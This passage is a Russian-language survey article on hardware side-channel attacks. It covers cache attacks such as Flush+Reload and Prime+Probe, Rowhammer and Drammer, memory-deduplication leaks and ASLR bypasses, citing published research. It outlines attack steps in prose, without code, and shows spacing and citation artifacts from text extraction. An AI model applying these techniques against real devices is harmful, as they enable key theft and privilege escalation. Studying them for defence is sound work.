бур ный  всплеск  инте реса  со  сто роны  спе циалис тов  кибер безопас ности

к кеш‐ата кам по сто рон ним каналам. Имен но эта тен денция и побуди ла нас

про сум мировать все то, что появи лось по теме в паб лике за пос ледние два

года.

[6]

В этом матери але мно го отсы лок к допол нитель‐ 
ной литера туре и пре зен таци ям. Одни есть в спе‐ 
циали зиро ван ных биб лиоте ках со ссыл ками, дру‐ 
гие  мы  при водим  по  наз вани ям.  Что бы
не  усложнять  статью  гро моз дки ми  тай тла ми
в  каж дом  пред ложении,  мы  соб рали  и  вынес ли
биб лиог рафию  еди ным  бло ком  в  кон це  матери‐ 
ала,  а  по  тек сту  про мар кирова ли  ссыл ки
в вики‐фор мате. Во врез ке ты уже най дешь раз‐ 
верну тую  информа цию  о  пуб ликации  —  авто ры,
год,  изда ние,  а  так же  при мер ные  номера  стра‐ 
ниц, на которых опи сыва ется пред мет.

‑
Хо тя уже доволь но дав но извес тно, что эти ата ки воз можны, уяз вимая реали‐ 

зация  AES‐таб лиц  по‐преж нему  исполь зует ся  как  стан дарт  де‐фак то,  в  том

чис ле в сов ремен ных встра иваемых крип тоус трой ствах, таких как SIM‐кар ты.

Нап ример, в сетях 3G/4G исполь зует ся алго ритм аутен тифика ции MILENAGE,

осно ван ный на AES. Его ком про мета ция поз воля ет кло ниро вать USIM‐кар ты

и под слу шивать раз говоры. Так что кеш‐ата ки по сто рон ним каналам акту аль‐ 

ны  и  для  SIM‐карт  (исполь зуемых  для  дос тупа  к  сети  2G),  и  для  USIM‐карт

(обес печива ющих  дос туп  к  сетям  3G/4G).  В  2015  году  была  опи сана  «диф‐ 

ферен циаль ная  ата ка  по  энер гопот ребле нию»  (DPA) —  ата ка,  которая  вос‐ 

ста нав лива ет  клю чи  шиф рования  (исполь зуемые  алго рит мом  MILENAGE)

и дру гие сек реты USIM‐карт в течение все го нес коль ких минут  .[3]

ИСТОРИЯ СТОРОННИХ КАНАЛОВ
По  мере  усложне ния  прог рам мно го  обес печения  и  по  мере  уве личе ния

количес тва  передо вых  прог рам мных  защит  взлом  сис темы  на  аппа рат ном

уров не, в час тнос ти исполь зование кеш‐атак на сто рон ние каналы, ста новит‐ 

ся  все  более  прив лекатель ной  аль тер нативой.  Эти  ата ки  осно выва ются

на  уяз вимос тях,  най ден ных  в  архи тек туре  вза имо дей ствия  про цес сора

с памятью  .[4]
В  1985  году  была  пред став лена  тех нология  счи тыва ния  информа ции

с виде одис пле ев — изме рени ем наводи мых ими элек тро маг нитных помех 

. На осно ве этой тех нологии в 2014 году был раз работан кей лог гер, пос‐ 

тро енный на базе смар тфо на и ради оан тенны  .

[
10]

[12]
В 1996 году было показа но, что, тща тель но изме ряя количес тво вре мени,

зат рачива емо го  на  выпол нение  опе раций  с  сек ретны ми  клю чами,  мож но

взло мать  раз личные  крип тогра фичес кие  сис темы,  нап ример  шифр  DES.

В 2016 году была впер вые про демонс три рова на ата ка по сто рон ним каналам

на  устрой ство шиф рования,  исполь зующее  передо вую  эллипти чес кую  крип‐ 

тогра фию; в ходе ата ки из целево го устрой ства, находя щего ся в дру гой ком‐ 

нате, был извле чен сек ретный дешиф рующий ключ  .[13]
В  1997  году  был  пред став лен  «метод  диф ферен циаль ных  иска жений»

(DFA) —  ата ка,  которая  исполь зует  раз личные модели мик росбо ев,  а  так же

методы  крип тоана лиза  для  вос ста нов ления  сек ретных  парамет ров

со  смарт‐карт  и  дру гих  защищен ных  от  несан кци они рован ного  дос тупа

устрой ств  . Имея физичес кий дос туп к устрой ству, мож но изме нять нап‐ 

ряжение  питания,  час тоту  син хро сиг нала  или  усло вия  окру жающей  сре ды

(нап ример,  тем перату ру),  что бы зас тавить смарт‐кар ту работать неп равиль‐ 

но.  Более  того,  сбои  в  работе  обо рудо вания  мож но  спро воци ровать  даже

одним  лишь  толь ко  прог рам мным  вме шатель ством,  и,  сле дова тель но,

это мож но сде лать в режиме уда лен ного дос тупа.

[11]

В  2014  году  была  про демонс три рова на  ата ка  по  сто рон ним  каналам

на  кеш‐память.  Эта  ата ка  исполь зует  утеч ки  информа ции,  выз ванные  раз‐ 

ницей  вре мени  дос тупа  к  дан ным,  в  зависи мос ти  от  того,  находят ся  они

в  кеш‐памяти  или  нет;  таким  обра зом,  ата ка  дает  понять,  какими  дан ными

иссле дуемый  код  недав но  опе риро вал.  В  про цес се  этой  ата ки  было  про‐ 

демонс три рова но  пол ное  вос ста нов ление  AES‐клю чей  .  Чуть  поз же,

в  2015  году,  было  показа но,  что  сто рон ние  каналы  кеш‐памяти  мож но

исполь зовать не толь ко для нападе ния на крип тогра фичес кие сис темы, но и

для сбо ра информа ции о нажатии кла виш  .

[9]

[14]
В  2014  году  было  про демонс три рова но,  что  обра щение  с  высокой  час‐ 

тотой к одной и той же ячей ке памяти может спро воци ровать самоп роиз воль‐ 

ные  перек лючения  битов  в  мик росхе мах  DRAM  (эффект  Rowhammer)  .

Пос коль ку  DRAM  мас шта биру ется  в  мель чайших  раз мерах,  пре дот вра тить

элек три чес кое  вза имов лияние  меж ду  отдель ными  ячей ками  весь ма  неп‐ 

росто. Имен но поэто му акти вация опре делен ной стро ки из памяти при водит

к иска жению дан ных в сосед них стро ках.

[9]

В  2015  году  было  про демонс три рова но,  что  эффект  Rowhammer  мож но

исполь зовать для повыше ния при виле гий до супер поль зовате ля  . В том

же  году  было  про демонс три рова но,  что  самоп роиз воль ные  перек лючения

битов могут быть спро воци рова ны даже заг ружен ным на веб‐сайт Java‐кодом

.  Пер воначаль но  этот  сце нарий  был  реали зован  толь ко  для  сис тем  Intel

и AMD, исполь зующих модули DDR3 и DDR4  . Одна ко в 2016  году

эта ата ка была так же про демонс три рова на и на ARM‐плат формах  . В том

же году было показа но, что кеш‐ата ки могут при менять ся и для монито рин га

кеш‐активнос ти в TrustZone  .

[15]

[7]
[16, 17]

[1]

[1]
В  2016  году  была  про веде на  «обратная  инже нерия»  для  фун кций  адре‐ 

сации  DRAM,  пов семес тно  исполь зуемой  в  сов ремен ных  смар тфо нах.

В  резуль тате  были  обна руже ны  допол нитель ные  спо собы  перек лючения

битов, дос тупные для реали зации на мил лионах Android‐устрой ств, без необ‐ 

ходимос ти работы в при виле гиро ван ном режиме  .[1]
В 2016 году была впер вые про демонс три рова на ата ка на пос ледний уро‐ 

вень  кеш‐памяти  ARM‐про цес сора.  Эта  ата ка  может  быть  реали зова на

для межъ ядер ной и меж про цес сорной кеш‐ата ки по сто рон ним каналам  .[1]

ЧЕМ ТАК УНИКАЛЬНЫ КЕШ-АТАКИ НА ARM?
Та кие методы ата ки, как Flush + Reload и Flush + Flush, исполь зуют неп ривиле‐ 

гиро ван ную  x86‐инс трук цию  сбро са  clflush  для  уда ления  стро ки  дан ных

из  кеш‐памяти. Одна ко,  за  исклю чени ем  про цес соров  ARMv8‐A,  ARM‐плат‐ 

формы не име ют неп ривиле гиро ван ных инс трук ций сбро са  кеша, и поэто му

в  2016  году  был  пред ложен  кос венный  метод  вытес нения  кеша,  с  исполь‐ 

зовани ем эффекта Rowhammer  .[1]
Для про веде ния успешной кеш‐ата ки необ ходимо знать точ ное вре мя цик‐ 

ла  обра щения  к  ячей ке  памяти.  Ран ние  кеш‐ата ки  исполь зовали  для  этих

целей сис темные счет чики про изво дитель нос ти, но этот спо соб неэф фекти‐ 

вен, пос коль ку эти счет чики на ARM‐про цес сорах дос тупны толь ко в при виле‐ 

гиро ван ном режиме.

Од нако в 2016 году были пред ложены три аль тер натив ных источни ка син‐ 

хро низа ции,  дос тупные  в  том  чис ле  и  в  неп ривиле гиро ван ном  режиме  .

Один  из  них —  запуск  парал лель ного  син хро низи рующе го  потока,  который

неп рерыв но  инкре мен тиру ет  гло баль ную  перемен ную.  Читая  зна чение  этой

перемен ной,  зло умыш ленник  может  изме рять  вре мя  цик ла  обра щения

к ячей ке памяти.

[1]

Кро ме того, в ARM‐про цес сорах дей ству ет так называ емая полити ка псев‐ 

дослу чай ного  замеще ния,  в  резуль тате  дей ствия  которой  вытес нение

из кеша про исхо дит менее пред ска зуемо, чем в про цес сорах Intel и AMD. Тем

не  менее  в  2016  году  была  про демонс три рова на  эффектив ная  кеш‐ата ка

даже  в  таких  зашум ленных  усло виях —  для  трех  смар тфо нов:  OnePlus  One

(исполь зует  Snapdragon  801  SoC  с  про цес сором  Krait  400  архи тек туры  AR‐

Mv7‐A),  Alcatel One  Touch Pop 2  (исполь зует Snapdragon 410 SoC с  про цес‐ 

сором  Cortex‐A53  архи тек туры  ARMv8‐A),  Samsung  Galaxy  S6  (исполь зует

Samsung  Exynos  7  Octa  7420  SoC  с  дву мя  про цес сорны ми  клас терами  AR‐

Mv8‐A)  .[1]

РАЗНОВИДНОСТИ КЕШ-АТАК
В общем виде кеш‐ата ку по сто рон нему каналу мож но раз делить на три эта‐ 

па:

1. Иден тифика ция  мик роар хитек турно го  сиг нала,  «про сачи вающе гося»

из «негер метич ной» элек трон ной сис темы;  типич ные при меры таких про‐ 

сачи вающих ся  мик роар хитек турных  сиг налов —  это  пот ребля емая  мощ‐ 

ность и элек тро маг нитное излу чение интеграль ных мик росхем  .[2, 3]
2. Мо нито ринг и ана лиз это го сиг нала при работе сис темы.

3. Вы явле ние шаб лонных раз личий мик роар хитек турно го сиг нала  .[2]

Evict + Time
Ос новная идея зак люча ется в том, что бы опре делить, к каким наборам кешей

обра щает ся прог рамма‐жер тва.

Ал горитм:

1. Из мерить вре мя выпол нения прог раммы‐жер твы.

2. Вы тес нить опре делен ную часть кеша.

3. Из мерить вре мя выпол нения прог раммы‐жер твы сно ва.

С помощью раз ницы меж ду дву мя изме рени ями мож но опре делить, сколь ко

вре мени опре делен ная часть кеша исполь зовалась жер твой при выпол нении.

В  2010  году  был  про демонс три рован  мощ ный  тип  ата ки  на  осно ве  Evict  +

Time  —  про тив  AES  на  OpenSSL,  без  необ ходимос ти  наличия  откры того

и зашиф рован ного тек стов  .[18, 19]

Prime + Probe
Этот метод — так же как и пре дыду щий — поз воля ет зло умыш ленни ку опре‐ 

делить, к каким наборам кешей обра щает ся прог рамма‐жер тва.

Ал горитм:

1. За пол нить опре делен ную часть кеша.

2. Пе редать управле ние прог рамме‐жер тве.

3. Оп ределить, какая часть запол ненно го кеша все еще при над лежит нам.

Это может быть сде лано с помощью изме рения вре мени дос тупа к адре сам,

которые зло умыш ленник исполь зовал для запол нения кеша на пер вом эта пе.

Таким обра зом, если прог рамма‐жер тва будет исполь зовать адре са, сопос‐ 

тавля емые  с  теми  же  областя ми  кеша,  что  и  зло умыш ленник,  то  она  будет

вытес нять  дан ные  зло умыш ленни ка  из  кеша,  и  зло умыш ленник  это  может

отсле дить  на  треть ем  эта пе.  В    про демонс три рова на  ата ка,  исполь‐ 

зующая этот механизм, на OpenSSL AES и линук сов ский dm‐crypt.

[19]

В  2015  году    было  про демонс три рова но,  как,  исполь зуя  Prime  +

Probe, мож но смон тировать межъ ядер ный и меж вирту аль номашин ный скры‐ 

тый  канал  и  затем  ата ковать  ElGamal  в  GnuPG.  В  том  же  году  была  про‐ 

демонс три рова на  успешная  ата ка  на  реали зацию OpenSSL AES  в  облачной

сре де  .

[20]

[21]

Flush + Reload
В  2011  году    было  показа но,  как  мож но  при менить  clflush  для  ата ки

на AES. Clflush исполь зует ся  для  того,  что бы  вытес нить  из  кеша отсле жива‐ 

емую ячей ку памяти,  с пос леду ющей про вер кой, была ли эта ячей ка  заново

заг ружена  в  кеш  пос ле  того,  как  прог рамма‐жер тва  выпол нила  неболь шое

количес тво инс трук ций.

[22]

Ал горитм:

1. Спро еци ровать  бинар ник  (нап ример,  раз деля емый  объ ект)  в  свое

адресное  прос транс тво  (с  помощью  соот ветс тву юще го  сис темно го

вызова, такого как mmap).

2. Вы тес нить стро ку кеша (код или дан ные) из кеша.

3. Пе редать управле ние на прог рамму‐жер тву.

4. Про верить, была ли эта стро ка кеша (из п. 2) заг ружена прог раммой‐жер‐ 

твой (изме ряя вре мя дос тупа к ячей ке памяти).

В  2014  году было  про демонс три рова но  пол ное  вос ста нов ление  сек ретно го

клю ча AES  в  вир туаль ной машине VMware  через  кеш‐ата ку  Flush + Reload 

.  В  том  же  году  было  про демонс три рова но  вос ста нов ление  сек ретно го

клю ча OpenSSL‐алго рит ма ECDSA (алго ритм циф ровых под писей на осно ве

эллипти чес ких  кри вых)  пос редс твом  той  же  ата ки  .  В  2015  году

при  помощи  ата ки  Flush  +  Reload  был  ском про мети рован  сис темный

механизм «дедуп ликации памяти», в резуль тате чего откры лась воз можность

несан кци они рован ной  ком муника ции  меж ду  вир туаль ными  машина ми,

работа ющи ми на общей физичес кой машине  . В том же году было про‐ 

демонс три рова но,  как  через  Flush  +  Reload  получить  информа цию  о  том,

какие имен но крип тогра фичес кие биб лиоте ки исполь зуют ся раз личны ми вир‐ 

туаль ными машина ми, работа ющи ми на общей физичес кой машине  .

[
23]

[24]

[25]

[26]
В 2015 году так же было показа но, что метод Flush + Reload может исполь‐ 

зовать ся так же и для кей лог гера  .[14]

Evict + Reload
Был  пред став лен  в  2015  году  .  Исполь зует  Flush  +  Reload  для  вытес‐ 

нения  —  вмес то  инс трук ции  вытес нения.  Хотя  эта  ата ка  для  x86  не  име ет

прак тичес кого  смыс ла  (для  выпол нения  clflush  не  нуж ны  при виле гии),

для  ARM‐про цес соров  она  весь ма  акту аль на  (пос коль ку  там  подоб ная  инс‐ 

трук ция дос тупна толь ко в при виле гиро ван ном режиме).

[14]

Суть Evict + Reload зак люча ется в том, что для вытес нения нуж ной ячей ки

из  кеша мы  запол няем  кеш‐память  боль шим  количес твом  вза имос вязан ных

адре сов, в резуль тате чего механизм, отве чающий за вытес нение, сам при‐ 

нима ет решение вытес нить нуж ную нам ячей ку кеша.

Кро ме того, в 2016 году было показа но, что эффектив ная и быс трая стра‐ 

тегия  вытес нения  может  ини цииро вать  самоп роиз воль ное  перек лючение

битов  в  сосед них  стро ках DRAM‐модулей  (в  резуль тате мно гок ратно го  дос‐ 

тупа  к  одной  и  той  же  стро ке  памяти)  пос редс твом  аппле тов,  написан ных

на JavaScript  . Таким обра зом, кеш‐ата ки боль ше не зависят от при виле‐ 

гиро ван ных инс трук ций очис тки кеша вро де clflush.

[24]

Flush + Flush
Ата ки Flush + Reload и Prime + Probe вызыва ют мно гочис ленные обра щения

к кешу, про дол житель ность которых мож но изме рять (при помощи сис темных

счет чиков  про изво дитель нос ти).  Ата ка  Flush  +  Flush,  пред став ленная

в 2015 году, как раз и осно выва ется на этих наб людени ях  .[8]
Ата ка прак тичес ки такая же, как Flush + Reload. Бинар ник или раз делен ный

файл‐объ ект  отоб ража ется  в  адресное  прос транс тво  ата кующе го.  Ячей ка

памяти вытес няет ся из кеша, и управле ние переда ется на прог рамму‐жер тву.

Одна ко вмес то эта па перезаг рузки, где осу щест вля ется обра щение к ячей ке,

за  которой  мы  наб люда ем,  она  сно ва  вытес няет ся,  не  вызывая  про махов,

в срав нении с Flush + Reload или Prime + Probe. Таким обра зом лег ко отли‐ 

чить, кеширо вана ячей ка памяти или нет.

AnC
Это  более  новая  модифи кация  кеш‐ата ки  Evict  +  Time,  пред став ленная

в  2017  году  .  Отли читель ная  чер та  AnC  зак люча ется  в  том,  что  эта

кеш‐ата ка  опи рает ся  на  ана лиз  кеширу емых  таб лиц  стра ниц,  которые

исполь зуют ся в боль шинс тве сов ремен ных про цес соров  (Intel, AMD, ARM) 

.

[4]

[
4]

Се год ня  в  осно ве  любого  про цес сора  лежит  блок  управле ния  памятью

(MMU),  который  упро щает  управле ние  дос тупной физичес кой  памятью  пос‐ 

редс твом ее вир туали зации, для пос леду юще го исполь зования нес коль кими

про цес сами.  MMU  исполь зует  струк туру  дан ных  «таб лица  стра ниц»

для сопос тавле ния вир туаль ных и физичес ких яче ек памяти.  «Таб лицы стра‐ 

ниц» —  прив лекатель ная  цель  для  аппа рат ных  атак.  Нап ример,  самоп роиз‐ 

воль ного перек лючения все го одно го бита  (выз ванно го эффектом Rowham‐

mer) в «таб лице стра ниц» может хва тить, что бы ата кующий получил кон троль

над физичес ким адре сом памяти,  к  которо му он,  по идее,  дос тупа получать

не дол жен; и это го может быть дос таточ но, что бы получить при виле гии супер‐ 

поль зовате ля  .[4]

ЭФФЕКТ ROWHAMMER

От дель ный  DRAM‐чип  име ет  нез начитель ную  емкость,  и  поэто му  нес коль ко

мик росхем  соеди няют ся  вмес те  на  одной  пла те,  для  того  что бы  сфор‐ 

мировать  так  называ емый  DRAM‐ряд.  Один  модуль  DRAM‐памяти  может

содер жать  один  или  нес коль ко DRAM‐рядов. DRAM‐чип  сос тоит  из  дву мер‐ 

ного  мас сива  яче ек.  Каж дая  ячей ка  DRAM  —  это  кон денса тор;  0  и  1  —

это  заряжен ное  или  раз ряжен ное  сос тояние  кон денса тора.  Каж дая  ячей ка

в сет ке свя зана с сосед ней ячей кой про водом. Если какая‐либо ячей ка акти‐ 

виру ется, то нап ряжение пода ется как на ее кон денса тор, так и на все осталь‐ 

ные кон денса торы той же стро ки.

Пос коль ку ячей ки памяти по мере тех нологи чес кого прог ресса ста новят ся

все мень ше и мень ше и все бли же друг к дру гу, помехи, выз ванные акти ваци‐ 

ей  стро ки  памяти,  очень  час то  вли яют  на  заряды  кон денса торов  сосед них

строк.  В  2014  году  было  про демонс три рова но  ,  что  час тое  обра щение

к  одной  и  той  же  ячей ке  DRAM‐памяти  при водит  к  эффекту  Rowhammer —

самоп роиз воль ным битовым перек лючени ям.

[9]

Этот эффект мож но исполь зовать для повыше ния при виле гий (нап ример,

что бы  вый ти  из  песоч ницы  безопас ности  );  он  может  быть  реали зован

в том чис ле в резуль тате исполне ния неп ривиле гиро ван ного JavaScript‐кода,

рас положен ного на веб‐сай те.

[15]

Что бы  «забить»  опре делен ную  ячей ку  памяти,  зло умыш ленни ку  нуж но  най ти

два адре са в одном и том же DRAM‐бан ке — но в раз ных стро ках. Для выбора

стро ки,  канала  и  бан ка  рас положе ния  памяти  исполь зуют ся  опре делен ные

биты адре са. Одна ко, каким обра зом работа ет фун кция выбор ки, не докумен‐ 

тирова но.  Поэто му  в  2015  году  был  пред став лен  спо соб  пол ной  авто мати‐ 

зации  обратной  инже нерии  соот ветс тву ющей  фун кции,  исполь зующий  тот

факт,  что  «стро ковые  кон флик ты»  при водят  к  уве личе нию  вре мени  дос тупа

к памяти  .[27]
Под ход зак люча ется в поис ке адре сов, которые сопос тавля ются с одним

и  тем  же  DRAM‐бан ком,  но  в  дру гой  стро ке,  пос редс твом  мно гок ратно го

изме рения вре мени дос тупа к двум слу чай ным адре сам. Для некото рых пар

адре сов вре мя дос тупа выше, чем для дру гих, — это и озна чает, что они при‐ 

над лежат к раз ным стро кам, но к одно му и тому же бан ку. Затем эти адре са

груп пиру ются  в  наборы,  име ющие  один  и  тот  же  канал,  стро ку  и  банк.  Эти

иден тифици рован ные  адре са  затем  исполь зуют ся  для  реконс трук ции  фун‐ 

кции  адре сации  путем  генера ции  всех  линей ных  фун кций  и  при мене ния  их

ко всем адре сам из про изволь но выб ранно го под мно жес тва. Таким обра зом,

пос коль ку  прос транс тво  поис ка  малень кое,  метод  перебо ра  гру бой  силой

здесь весь ма эффекти вен  .[1]
Пер вые реали зации атак с исполь зовани ем эффекта Rowhammer полага‐ 

лись либо на веро ятнос тные методы (из‐за чего в про цес се ата ки мог ло про‐ 

изой ти незап ланиро ван ное обру шение сис темы), либо на спе циали зиро ван‐ 

ные фун кции управле ния памятью: дедуп ликацию памяти, паравир туали зацию

MMU,  интерфейс  pagemap.  Одна ко  подоб ные  фун кции  на  сов ремен ных

устрой ствах  либо  недос тупны  вооб ще,  либо  отклю чены  по  сооб ражени ям

безопас ности  .[30]
По это му  в  2016  году  была  пред став лена  ата ка  Drammer,  сво бод ная

от перечис ленных недос татков и огра ниче ний. Она опи рает ся толь ко на дей‐ 

ству ющие  воз можнос ти  сов ремен ных  опе раци онных  сис тем,  которые  дос‐ 

тупны без прав супер поль зовате ля, в час тнос ти на пред ска зуемое поведе ние

под систе мы  рас пре деле ния  физичес кой  памяти.  Эта  пред ска зуемость

исполь зует ся для того, что бы добить ся рас пре деле ния физичес кой памяти (в

которой будут обра баты вать ся  кон фиден циаль ные дан ные,  нап ример  такие,

как таб лицы стра ниц памяти) в выб ранном зло умыш ленни ком уяз вимом мес‐ 

те  физичес кой  памяти.  Соот ветс тву ющая  методи ка  «мас сажиро вания

памяти» получи ла наз вание Phys Feng Shui.

Для демонс тра ции работос пособ ности ата ки Drammer при веде на реали‐ 

зация  экс пло ита,  который  дает  дос туп  к  кор невому  катало гу  для  Android‐

устрой ства. Этот экс пло ит может быть запущен любым при ложе нием без спе‐ 

циаль ного  раз решения  и  без  исполь зования  какой‐либо  уяз вимос ти  прог‐ 

рам мно го обес печения  .[30]
Та ким  обра зом,  на  при мере  ата ки  Drammer  было  показа но,  что  ата ки

с  исполь зовани ем  эффекта  Rowhammer  при мени мы  не  толь ко  для  пер‐ 

сональ ных  компь юте ров  (работа ющих  на  про цес сорах  Intel  и  AMD),  но  и

для мобиль ников  (работа ющих на ARM‐про цес сорах); дан ная демонс тра ция

показа ла,  что  сов ремен ные  прог рам мные  спо собы  защиты  от  этой  ата ки

неэф фектив ны и бес полез ны  .[30]
В 2016 году была пред став лена методи ка «мас сажа памяти» Flip Feng Shui

(FFS) — новый век тор экс плу ата ции эффекта Rowhammer, который поз воля ет

зло умыш ленни ку  воз буждать  пред ска зуемые  битовые  перес коки  в  про‐ 

изволь ном мес те физичес кой памяти и иметь пол ный кон троль над этим про‐ 

цес сом даже при пол ном отсутс твии уяз вимос тей в ата куемом прог рам мном

обес печении.  В  рам ках  демонс тра ции  методи ки  FFS  ском про мети рован

механизм обновле ния, исполь зуемый опе раци онны ми сис темами Ubuntu/De‐

bian  .[31]
В  2017  году  было  про демонс три рова но,  что  сов ремен ные  MLC  NAND

модули флеш‐памяти,  которые исполь зуют ся широко и пов семес тно в  твер‐ 

дотель ных SSD‐накопи телях, так же под верже ны ата ке, исполь зующей эффект

Rowhammer. В резуль тате ата ки на эти носите ли зло умыш ленник может пов‐ 

редить дан ные на них. При чем прос то одним лишь чте нием — без зап росов

на запись  .[5]
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ЧТО ПРОИЗОШЛО В ОБЛАСТИ
УТЕЧЕК НА АППАРАТНОМ УРОВНЕ

ЗА ПОСЛЕДНИЕ ДВА ГОДА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ДЕДУПЛИКАЦИЯ СИСТЕМНОЙ ПАМЯТИ
Под систе ма дедуп ликации кон тент‐ори енти рован ных стра ниц ска ниру ет всю
сис темную память на иден тичные физичес кие стра ницы памяти и скле ивает
их  в  одну  физичес кую  стра ницу.  Этот  механизм  может  повысить  про изво‐ 
дитель ность  сис темы,  ког да  сис темная  память  огра ниче на,  нап ример
для смар тфо нов или сер веров с боль шим количес твом вир туаль ных машин 
.

[
1]

Раз деля емая  память  (про образ  дедуп ликации)  —  это  общий  учас ток
памяти, к которо му могут обра щать ся нес коль ко прог рамм, что бы обес печить
обмен  дан ными  или  избе жать  избы точ ных  копий  пов торя юще гося  прог рам‐ 
мно го  кода  в  памяти.  Раз деля емые  биб лиоте ки  умень шают  объ ем  исполь‐ 
зуемой памяти  и  уве личи вают быс тро дей ствие  (за  счет  сни жения  кон курен‐ 
ции  за  кеш  —  ведь  код  один,  и  его  вытес нять  не  надо).  В  чис ле  про чего
механизм  раз деля емой  памяти  поз воля ет  реали зовы вать  механизм  пла‐ 
гинов — ког да фун кции прог раммы заданы не одним исполня емым фай лом,
а могут под гру жать ся так же и из дру гих мест. В ядре опе раци онной сис темы
механизм  раз деля емой  памяти  реали зован  пос редс твом  свя зыва ния  одной
и той же области физичес кой памяти с вир туаль ными адресны ми прос транс‐ 
тва ми раз ных про цес сов  .[1]

  —  широко  извес тная  тех нология  умень шения
объ ема исполь зуемой памяти в вир туаль ных машинах; теперь так же по умол‐ 
чанию исполь зует ся в ОС Windows 8.1 и 10. Под систе ма дедуп ликации про‐ 
еци рует  нес коль ко  иден тичных  копий  физичес ких  стра ниц  памяти  на  одну
раз деля емую  копию,  с  дос тупом  в  режиме  «копиро вание  при  записи».
В  резуль тате  при  зап росах  на  чте ние  каж дый  про цесс  получа ет  дан ные
из  одной  и  той  же  стра ницы.  Если  же  про цесс  хочет  записать  дан ные,  то
перед  тем,  как он смо жет  это сде лать,  для него соз дает ся отдель ная  копия
стра ницы. В резуль тате запись в раз делен ную стра ницу вызыва ет «стра нич‐ 
ный  отказ»,  и,  сле дова тель но,  запись  в  раз деля емую  стра ницу  про исхо дит
зна читель но  мед леннее,  чем  запись  в  обыч ную  стра ницу.  Зло умыш ленник,
спо соб ный соз давать стра ницы в целевой сис теме, может исполь зовать эту
раз ницу  во  вре мени,  что бы  обна ружить  факт  сущес тво вания  инте ресу ющих
его стра ниц [35].

Де дуп ликация  памяти

В 2016 году было про демонс три рова но, как пос редс твом ата ки по сто рон‐ 
нему  каналу  на  под систе му  дедуп ликации  зло умыш ленник  может  про читать
любые  дан ные  из  сис темной  памяти.  Для  это го  были  пред став лены  три
методи ки.  Во‐пер вых,  было  показа но,  как  бла года ря  воз можнос ти  кон тро‐ 
лиро вать вырав нивание дан ных в памяти мож но наложить кон фиден циаль ную
информа цию на извес тный  кон тент,  а  затем выпол нить  побай товое рас кры‐ 
тие  кон фиден циаль ных  дан ных  (нап ример,  ран домизи рован ных  64‐бит ных
ука зате лей).  Во‐вто рых,  было  показа но,  как  даже  без  воз можнос ти  кон тро‐ 
лиро вать вырав нивание, но имея воз можность час тично переза писы вать дан‐ 
ные,  зло умыш ленник  все  же  может  добить ся  побай тового  рас кры тия  кон‐ 
фиден циаль ных дан ных. В‐треть их,  было показа но,  что,  даже  ког да нет  воз‐ 
можнос ти кон тро лиро вать вырав нивание памяти и час тично переза писы вать
дан ные,  побай товое  рас кры тие  кон фиден циаль ной  информа ции  по‐преж‐ 
нему  воз можно —  пос редс твом  побуж дения  целево го  про цес са  соз давать
боль шое количес тво вза имос вязан ных стра ниц  .[35]

Для  демонс тра ции  трех  этих  атак  по  сто рон нему  каналу  на  под систе му
дедуп ликации  была  пред став лена  дей ству ющая  JavaScript‐ата ка  на  новый
бра узер Microsoft Edge — в усло виях отсутс твия прог рам мных оши бок и при
активном сос тоянии всех дос тупных защит. В резуль тате этой ата ки зло умыш‐ 
ленник  получа ет  пол ный  дос туп  к  адресно му  прос транс тву  бра узе ра  с  воз‐ 
можностью  чте ния  и  записи  дан ных.  Кро ме  того,  на  при мере  популяр ного
веб‐сер вера  nginx  было  про демонс три рова но,  как,  исполь зуя  ту  же  самую
тех нику,  мож но  зах ватить  всю  сис темную  память:  вый ти  из  изо лиро ван ной
сре ды  бра узе ра  и  про вес ти  ата ку  на  любой  дру гой  незави симый  про цесс,
работа ющий в той же самой сис теме  .[35]

Та ким  обра зом,  рас ширение  фун кци ональ нос ти  опе раци онных  сис тем
при водит  к  пос тоян но  рас ширя ющей ся  повер хнос ти  воз можных  атак.  Даже
на  пер вый  взгляд  без вред ные  фун кции,  такие  как  дедуп ликация  памяти,
в  руках  прод винуто го  зло умыш ленни ка  могут  пов лечь  за  собой  фаталь ные
пос ледс твия  .[35]

ПСЕВДОИЗОЛЯЦИЯ ЯДРА ОПЕРАЦИОННОЙ СИСТЕМЫ
ASLR  (псев дослу чай ное  рас пре деле ние  адресно го  прос транс тва)  скры вает
кон фиден циаль ную  информа цию  (теневые  сте ки  и  скры тые  реги оны)  в  слу‐ 
чай ном мес те очень обширно го адресно го прос транс тва. Зна читель ная часть
«деран домизи рующих»  атак  опи рает ся  на  слож ные  реали зации  сто рон них
каналов  или  зон дирова ние  областей  отоб ража емой  памяти.  Если  пред‐ 
положить, что в реали зации «скры тых реги онов» нет сла бых мест, то эти ата ки
обыч но  при водят  к  мно гочис ленным  сбо ям  в  сис теме  и  к  дру гим  видимым
побоч ным  эффектам.  По  этой  при чине  мно гие  иссле дова тели  счи тают,  что
псев доизо ляция  с  исполь зовани ем ASLR по‐преж нему  дос таточ но  силь на 

.
[

33]
Од нако  в  2016  году  была  пред став лена  мощ ная  методи ка  взло ма  ASLR

и  нахож дения  скры тых  реги онов  на  32‐  и  64‐раз рядных  плат формах  Linux,
с  исполь зовани ем  очень  малого  количес тва  «вре донос ных  манипу ляций».
Ори гиналь ность  пред ложен ной методи ки  в  том,  что  она,  вмес то  того  что бы
обра щать ся  к  выделен ным  областям  памяти,  опе риру ет  невыде лен ным
адресным прос транс твом — пос редс твом мно гок ратно го выделе ния боль ших
кус ков  памяти.  Такие  манипу ляции  поз воля ют  зло умыш ленни ку  опре делить
мес тополо жение  скры тых  реги онов.  Таким  обра зом,  ASLR  боль ше  не  явля‐ 
ется силь ной защитой  .[33]

Сов ремен ные  ядра  опе раци онных  сис тем  исполь зуют  ASLR,  что бы  убе‐ 
речь  опе раци онную  сис тему  от  атак,  полага ющих ся  на  зна ние  вир туаль ных
адре сов,  в  час тнос ти  так  называ емо го  воз врат но‐ори енти рован ного  прог‐ 
рамми рова ния (ROP). Это необ ходимо, пос коль ку код ядра, так же как и код
поль зователь ских прог рамм, содер жит ошиб ки,  которые могут быть исполь‐ 
зованы для под рыва безопас ности сис темы. Поэто му сов ремен ные опе раци‐ 
онные сис темы ста рают ся изо лиро вать код ядра от поль зователь ско го прос‐ 
транс тва  .[37]

В мае  2017  года  была  пред став лена  защит ная  сис тема KAISER,  которая
пре тен дует  на  то,  что  надеж но  изо лиру ет  ядро  опе раци онной  сис темы
от  поль зователь ско го  адресно го  прос транс тва.  Но,  нес мотря  на  мар кетин‐ 
говые  завере ния,  обла чен ные  в  тех ничес ки  убе дитель ные  аргу мен ты,  она,
по сути, не реша ет проб лемы, пос коль ку дей ству ет на прог рам мном уров не
